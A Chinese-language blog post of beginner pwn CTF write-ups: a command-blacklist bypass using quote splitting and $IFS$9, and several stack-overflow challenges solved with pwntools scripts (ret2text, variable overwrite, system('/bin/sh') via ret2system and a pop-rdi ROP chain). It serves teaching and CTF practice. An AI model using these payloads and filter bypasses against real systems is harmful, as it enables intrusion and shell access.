两篇不戳的Pwn入门文章
因为过菜,所以会很详细(感觉好像都没人需要这么详细的pwn的wp呜呜呜 )
这两篇文章主要是把pwn的基础攻击手段的例题挑出来讲,我觉得对于一个pwn小白来说挺有用的,所以就拿来研究了一下。但对于一个小白来说,原文章还是不足够友好,所以我在这两篇文章的基础上进行一定的补充来辅助理解。(尽管内容有所重复,但是还是先把文章相应部分看完,有不懂的,再回来看下面这个看一下能不能更好理解一点)
第一篇文章
原文章如下:
第一篇文章
这篇只要肯耐心跟一遍技术水平会有很大的提升的
实验一第二题:NSSCTF-SWPUCTF 2021 新生赛 nc签到(nc的使用和系统命令的执行)
思路
直接nc连接,再ls发现没反应,推断是过滤了,查看附件发现是Python的源码
import os
art = '''
(( "####@@!!$$ ))
`#####@@!$$` ))
(( '####@!!$:
(( ,####@!!$: ))
.###@!!$:
`##@@!$:
`#@!!$
!@# `#@!$: @#$
#$ `#@!$: !@!
'@!$:
'`\ "!$: /`'
'\ '!: /'
"\ : /"
-."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")
blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']
while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)
blacklist中即为过滤内容 这里采用引号截断绕过,以及将空格换为$IFS$9即可
My_shell_ProVersion
'l's
bin
boot
dev
etc
flag
home
lib
lib64
main.py
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
'c'at$IFS$9flag
NSSCTF{34c7c979-4b21-4b08-b7a6-3865d4220420}
知识点
- 引号截断绕过:用''将被过滤命令一部分包裹起来
- 斜杆截断绕过:在命令中间放一个/
- 空格绕过:\(IFS、\)IFS$9可替代空格
实验三:BUUCTF ciscn_2019_n_8(权限提升)
思路
先用nc,显示"what's your name",发现ls后没什么反应,所以checksec一下附件,发现是三十二位程序,丢IDA(x32)里面

发现主窗口右下角直接就有个"what's your name",说明这就是main函数,直接F5反汇编

发现system("/bin/sh"),满足图中判断结构即可拉出控制台权限
第一个if表示var[13]不能为空(若为空则为0),把光标放在第二个if语句中17LL上,显示"signed _int64",表示这个17是十六进制,再把光标放在var[13]中的13上,显示"signed int",表示为整数型,一个整数型为四个字节
接下来写EXP来夺权
from pwn import *
p = remote("主机",端口号)
#远程连接
payload = b"a"*13*4+p32(17)
p.sendline(payload)
p.interactive()
内存是十六进制的,所以用b"a"可以把字符"a"转化为十六进制的,一个"a"即为一字节,这样用于溢出缓冲区
13*4是为了把var这个数组的的前13位填充好(0到12总共13位数),其中因为一个"a"占一个字节,而var这个数组要求里面为整数型的,每个整数是占四个字节,所以要*4
这里着重讲一下p32函数,在内存中数据的存储方式是小端序,即低位字节在前,而我们一般日常生活都是大端序(即高位在前),而这个函数可以将参数转为32位(4字节)的小端序字节串,自动处理字节序转换,从而覆盖函数返回地址或者关键指针,这样当程序执行到返回时,就会跳转到对应函数的地址
进入交互界面后ls然后cat flag就能拿到flag了
知识点
- LL指的是长整型
- %d:读取整数
- %s:读取字符串
- %f:读取浮点数
- __isoc99_scanf函数用于支持C99标准输入,功能和scanf函数基本相同
实验四第一题:BUUCTF rip(极简栈溢出)
思路
老样子,nc后操作不了,直接查完是64位丢IDA(x64)

看到左侧函数有提权函数fun,查看main函数的反汇编伪代码看看能不能使用到这个fun来夺权

可以看到"rbp-Fh",表示rbp(栈帧基址指针寄存器)的长度为F(h表示为十六进制),这个也就是我们需要填充的长度

再来到fun函数的反汇编窗口,可以看到下边有个“starts at 401186”,表明fun函数的头地址就是这个(注意是十六进制的)
也就是说,只要把rbp填满后再填入0x401186就可以精准找到我们要的fun函数
接下来就是attack时间!
from pwn import *
p = remote("node5.buuoj.cn",28576)
payload = b'a'*(0xF)+p64(0x401186)
#发送攻击载荷
p.sendline(payload)
p.interactive()
进入交互界面后就开始了愉快的乱翻环节啦~
知识点
-
fun是提权函数
-
rbp是x86架构中的一个寄存器
实验四第三题:NSSCTF [HNCTF 2022 Week1]easyoverflow(栈溢出+变量覆写)
注意
如果把这个附件拖入IDA(x64)的时候遇到了以下报错:
Unexpected entries in the PLT stub.
The file might have been modified after linking
这个问题通常是由于文件在链接后被修改导致PLT(过程链接表)结构异常,如果不管这个报错选择直接继续反编译的话可能会编译成一些莫名其妙的函数,这个时候就需要安装IDA的一个插件pltresolver 来解决
这个插件的下载地址在github上:veritas501/pltresolver
下载完成后把将脚本文件(即.py文件)复制到IDA的plugins 目录下,这里有两点需要特别注意的
-
pltresolver.py的文件名字母应该都为小写字母,不是的话手动修改
-
整个IDA软件包应置于纯英文路径下,否则很可能报错
然后再打开IDA,这个时候再报错不用慌,直接按ctrl+shift+j会强行进行反编译
思路
老套路(我直接快进到main函数反汇编伪代码环节啦)

简单分析可知,这次后门(提权函数)直接出现在if判断结构内,若想使if判断为真,则v6不为空
但是gets函数只获取v5的值,怎么办?
这个时候就要请出我们的栈溢出啦,把v5塞满了,然后再放进一个十六进制的小数值就会使v6等于这个小数值,就可以不使v6为空,判断成立!
由图中可以看到灰字部分显示v5的rbp为38(h表示十六进制),所以我们要给栈填充38个垃圾字符把它充满
现在就是pwn时间!
from pwn import *
p = remote("host",port)
payload = b"a"*(0x38)+p64(0x1)
p.sendline(payload)
p.interactive()
执行完成后弹出来的字符就直接把flag给我们啦
知识点
- pltresolver 专门用于修复因.plt.sec段异常导致的符号解析问题
实验四第四题:NSSCTF [BJDCTF 2020]babystack(栈溢出+sendlineafter)
思路
**********************************
* Welcome to the BJDCTF! *
* And Welcome to the bin world! *
* Let's try to pwn the world! *
* Please told me u answer loudly!*
[+]Are u ready?
[+]Please input the length of your name:
ls
[+]What's u name?
nc好了之后就拖进IDA(x64),对main函数进行反汇编

分析可知,前后是有两个输入,一个是输入name的长度,一个是输入name,可知程序读取第二个输入的长度取决于第一个输入的数字大小,而我们想溢出的是第二个也就是buf,在上边淡蓝色字段可以看到buf的rbp值为0x10
同时也可以看到有个backdoor函数,双击后打开IDA-view窗口,反汇编发现里面有system(/bin/sh),再按esc回来

可以看到后门函数的头地址为0x4006E6
ebp和头地址都知道了就可以开始写exp了
from pwn import *
p = remote("域名",端口号)
p.sendlineafter("your name:","200")
#sendlinafter函数表示表示当读取到指定字符串之后在进行输入
#设定200是为了让程序把我们的payload读全,不一定要是200,稍微大点的数就可以了
#注意这里的200要求是字符串
payload = b"a"*(0x10+8)+p64(0x4006E6)
#六十四位的程序通常要+8
p.sendline(payload)
p.interactive()
万事大吉
知识点
- sendlineafter函数的使用
实验四第五题:NSSCTF [watevrCTF 2019]Voting Machine 1(栈溢出+recvall)
思路
丢IDA

发现gets函数,读取v4,上边可以看到v4的rbp长度为0x2
在左边可以看到一个特别的函数,super_secret_function,这个应该就是出题人的暗示,直接点开看看

分析可知这个是直接给出flag,而不是给控制台权限
来到该函数的IDA-view窗口

标蓝的一行即为该函数的头地址,取后八位0x00400807
from pwn import *
p = remote("域名",端口号)
payload = b"a"*(0x2)+p64(0x0400807)
p.sendline(payload)
flag = p.recvall()
#这里不再p.interactive()进入交互模式了,因为后门函数直接就把flag打印出来给我们了
#使用recvall()函数对payload发送后的响应信息进行收集,即可找到flag
print(flag)
知识点
- recvall函数:用于捕获响应信息
实验五第一题:BUUCTF jarvisoj_level2(栈溢出+system()传参)
思路
先nc连接看看环境,再看main函数伪代码

发现有个vulnerable_function函数,双击打开看看

可以看到这里有个read危险函数,设定输入长度限制为100,而上面buf的ebp长度仅为0x88,可以用来栈溢出
危险函数找到后下一步就是找后门,可以看到有两个system函数,挨个点出来尝试反编译,发现只有第一个可以反编译

system函数里面可以传个命令
所以先把system函数的执行地址找到,双击左边函数框中的system函数

再右键中间的方框,选择text view

十六进制数字标蓝的那一行即是system函数的执行地址,取后八位0x08048320
光有system函数还不够,函数里面还缺少输入,这个时候我们shift+F12打开字符串界面找找,可以看到有/bin/sh,双击它,然后把它的地址取出来(0x0804A024)
payload time
from pwn import *
p = remote("node5.buuoj.cn",28080)
system_addr = 0x08048320
shell_addr = 0x0804A024
payload = b"a"*(0x88+4)+p32(system_addr)+p32(0x0)+p32(shell_addr)
#先将栈和ebp装满,然后用system函数的执行地址覆盖返回地址,之后随便跟个地址(如0x0),然后再传入字符串/bin/sh的存放地址,作为system函数的参数
#此处的p32(0x0)作为system执行后的返回地址占位,避免程序崩溃后跳转到随机地址
#+4是为了覆盖栈帧中保存的EBP(基址指针),从而精确控制EIP(指令指针)的覆盖位置
p.sendline(payload)
p.interactive()
知识点
- 在system函数后随便加个地址就可以进行传参,传入对应字符串的存放地址即可执行该字符串的内容
- 32位程序,参数在栈上
- 注意ROP链构造顺序:system地址 + 返回地址 + 参数地址
实验五第二题:[HarekazeCTF2019]baby_rop1
思路
nc无果,直接反编译,请看main函数

from pwn import *
p = remote("域名",端口号)
system_addr = 0x0400490
shell_addr = 0x0601048
rdi = 0x400683
payload = b"a"*(0x10+8)+p64(rdi)+p64(shell_addr)+p64(system_addr)
#需要先把/bin/sh的位置存放在rdi寄存器上面
p.sendline(payload)
p.interactive()
知识点
- x86的参数都保存在栈上面,但是x64中有些不同,x64的前6个参数依次保存在RDI、RSI、RDX、RCX、R8和R9之中,如果还有更多的参数的话会保存在栈上
- 指令:ROPgadget --binary 文件 --only "pop|rdi|ret" 可以查看文件的寄存器地址
- 注意ROP链构造顺序:- ROP Gadget地址 (
pop rdi; ret) + 参数 (/bin/sh的地址) + 函数地址 (system的地址)
其二
栈溢出利用
CTFHUB平台-技能树-ret2text题
思路
拿到附件后先把它放在kali上,用checksec检查
checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 71 Symbols No 0 1 pwn
发现未开启保护,放进IDA(x64)中进行分析
先阅读函数发现含有危险函数gets (它不会对字符串的长度进行校验,而是以回车判断输入是否结束,存在栈溢出漏洞)
按shift+F12打开字符串窗口,发现有可执行后门(/bin/sh)

然后把光标落在/bin/sh(这个要注意),ctrl+x交叉引用,找到这个/bin/sh在代码中被引用的地方,然后点击OK就会跳转过去
在text:标蓝的那一段就有我们要找的/bin/sh,这个时候我们找到text:后面那一大串数字的后七位04007B8(十六进制),这七位数字就是/bin/sh的返回地址(也就是它的门牌号)
返回地址找到了,接下来就是要找缓冲区大小了
把光标点到图中分隔线的下方,按F5查看生成的类C代码,发现get函数括号的v4恰好是我们要的缓冲区大小
所以按esc返回上一步,找到v4的值为0x70(0x指代其后面的数字为十六进制)
同时由于是六十四位系统,覆盖缓冲区时还要+8字节覆盖ebp(如果是三十二位系统则+4字节覆盖ebp
万事俱备只欠exp
from pwn import *
#引进pwntools库的所有函数,*是通配符,表示所有
p = remote("主机名",端口号)
#远程连接上靶机,方便后续的操作
shell_addr = 0x04007B8
#后门的返回地址
payload = b"a"*(0x70+8)+p64(shel_addr)
#上面这行就是关键步骤
#b"a"表示字节型的"a",b"a"*(0x70+8)则可以生成(0x70+8)个字节型"a",用来对缓冲区进行字符填充
#六十四位0x70后加八,三十二位则在其后加四
#p64()可以将括号内的数转化为小端序字节序列,这样+前后部分才可以相加
p.sendline(payload)
#发送payload
p.interactive
#进入交互界面
进入交互界面后就可以直接ls,发现flag就在里面,这个时候就可以cat flag拿到flag啦
知识点
-
寻找危险函数(gets、scanf、vscanf、sprintf、strcpy、strcat、bcopy等)
-
gets函数不限制输入字符长度
-
确定填充长度(即本题的0x70+8),并确定要覆盖的地址和要操作的地址之间的距离(即本题的0x04007B8),最后一发payload精准命中,就可以开始ls随便翻了。
-
system(cmd)、system(/bin/sh)二者都是拉起控制台

浙公网安备 33010602011771号